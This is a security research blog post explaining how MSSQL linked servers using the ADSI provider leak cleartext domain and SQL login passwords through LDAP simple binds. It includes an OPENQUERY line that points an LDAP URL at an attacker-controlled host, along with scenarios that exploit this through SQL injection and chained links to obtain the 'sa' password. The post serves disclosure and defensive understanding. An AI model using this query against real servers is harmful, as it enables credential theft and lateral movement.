BlackArrow blog header

MSSQL linked servers: abusing ADSI for password retrieval

Introduction

When we talk about Microsoft SQL Server linked servers, we usually think of links to another SQL Server instances. However, this is only one of the multiple available options, so today we are going to delve into the Active Directory Service Interfaces (ADSI) provider, which allows querying the AD using the LDAP protocol.

After discussing its inner workings, we are presenting a new technique to retrieve cleartext linked login passwords and, in some cases, the password of the current security context. This has proven useful in several of our Red Team engagements.

ADSI

Through the ADSI provider we can create a link to a domain controller (sp_addlinkedserver) and then perform queries using the SELECT statement and the OPENQUERY function:

Typical ADSI link usage

Typical ADSI link usage

As with other link types, we can additionally configure a linked login to be used when connecting to the remote data source (sp_addlinkedsrvlogin). In this case, since we are dealing with Active Directory, it needs to be a domain account.

Likewise, if we don’t configure an account, we’ll only be able to use the link if the current context client user is a domain user (which implies Windows authentication was used to log into the SQL server). With this in mind, we performed an analysis at protocol level to see what was happening under the hood and got some interesting results.

If we fire the query using a configured linked login, SQL Server authenticates against the domain controller using LDAP simple authentication, which means that the password is transmitted in cleartext:

Linked login password (simple bind)

Linked login password (simple bind)

On the contrary, if we connect to the SQL Server with a domain user and the link has no linked logins, it will use Windows Authentication (GSSAPI).

Windows Authentication (GSSAPI)

Windows Authentication (GSSAPI)

These are the only two valid options for ADSI to work, but… what happens when we try to use a link without linked logins, having authenticated with a SQL user instead of a domain user?

Current SQL login cleartext password (simple bind)

Current SQL login cleartext password (simple bind)

As you can see in the picture above, SQL Server will try to perform a simple bind using the current SQL login cleartext password, which must have been somehow stored in memory.

Login types and associated LDAP authentication

Login types and associated LDAP authentication

I saw your credentials!

Knowing this, you probably thought of capturing network traffic (in the case of having enough privileges and access to the machine). But what if I tell you that you can retrieve the passwords from SQL code and even with an unprivileged user?

Just as you do when configuring any linked server, the ADSI provider needs you to specify a remote data source, in this case a domain controller. However, we noticed that since it is allowed by the syntax to indicate an arbitrary LDAP URL in the FROM clause (probably designed to provide a specific base DN), you can point to an attacker-controlled machine and receive the connections, ignoring the configured data source.

SELECT * FROM OpenQuery (ADSI, 'SELECT * FROM ''LDAP://attacker''')

It’s worth noting that if the ADSI linked server already exists, even an unprivileged user can perform the attack. Else, a user with at least ALTER ANY LINKED SERVER privilege can temporarily configure a new link and carry on.

We’ve come up with some scenarios where this technique could be useful, which are detailed below.

Scenario 1: Obtain the cleartext password of an ADSI linked login

Scenario 1 schema

Scenario 1 schema

In 2014, NetSPI published a research about decrypting linked logins passwords, but assuming some annoying requirements: being sysadmin and local admin of the machine, as well as having the possibility of using a DAC connection (by default only available on localhost). Our technique doesn’t need these privileges nor network access, so for example it can be exploited directly from a SQL injection or through another SQL Server link.

Scenario 2: Retrieve the current security context password

As we saw in the previous section, the current password must be cached in memory. Again, this can be useful when you are executing SQL without knowing the current user password, for example, in the case of a SQL injection.

Another scenario we usually encounter is to have unprivileged access to a SQL server (let’s say WINSQL01), which has a linked SQL server (WINSQL02) using a sysadmin linked account (sa). In this case, we could perform the attack through the SQL link and retrieve the “sa” password, which might be reused in other servers.

Scenario 2 schema

Scenario 2 schema

NTLM Relay?

When we first saw GSSAPI authentication, some NTLM relay scenarios came to our minds. Nevertheless, the LDAP client negotiates signing by default, so we don’t see how this could be useful in any way.

PoC or GTFO

In one of our Red Team engagements, we wanted to perform this attack in a restricted environment where we couldn’t establish outbound connections. Since in this case we had sysadmin privileges, we decided to develop a CLR assembly which listens on a localhost port and parses an incoming LDAP bind request to finally return the cleartext password.

In the following example, we use the technique to dump the linked login cleartext password, which corresponds to the scenario 1.

Next, the retrieval of the “sa” password of a SQL linked server, as shown in the scenario 2.

The code in charge of parsing the LDAP messages is borrowed from this project. You can find our functional CLR assembly here.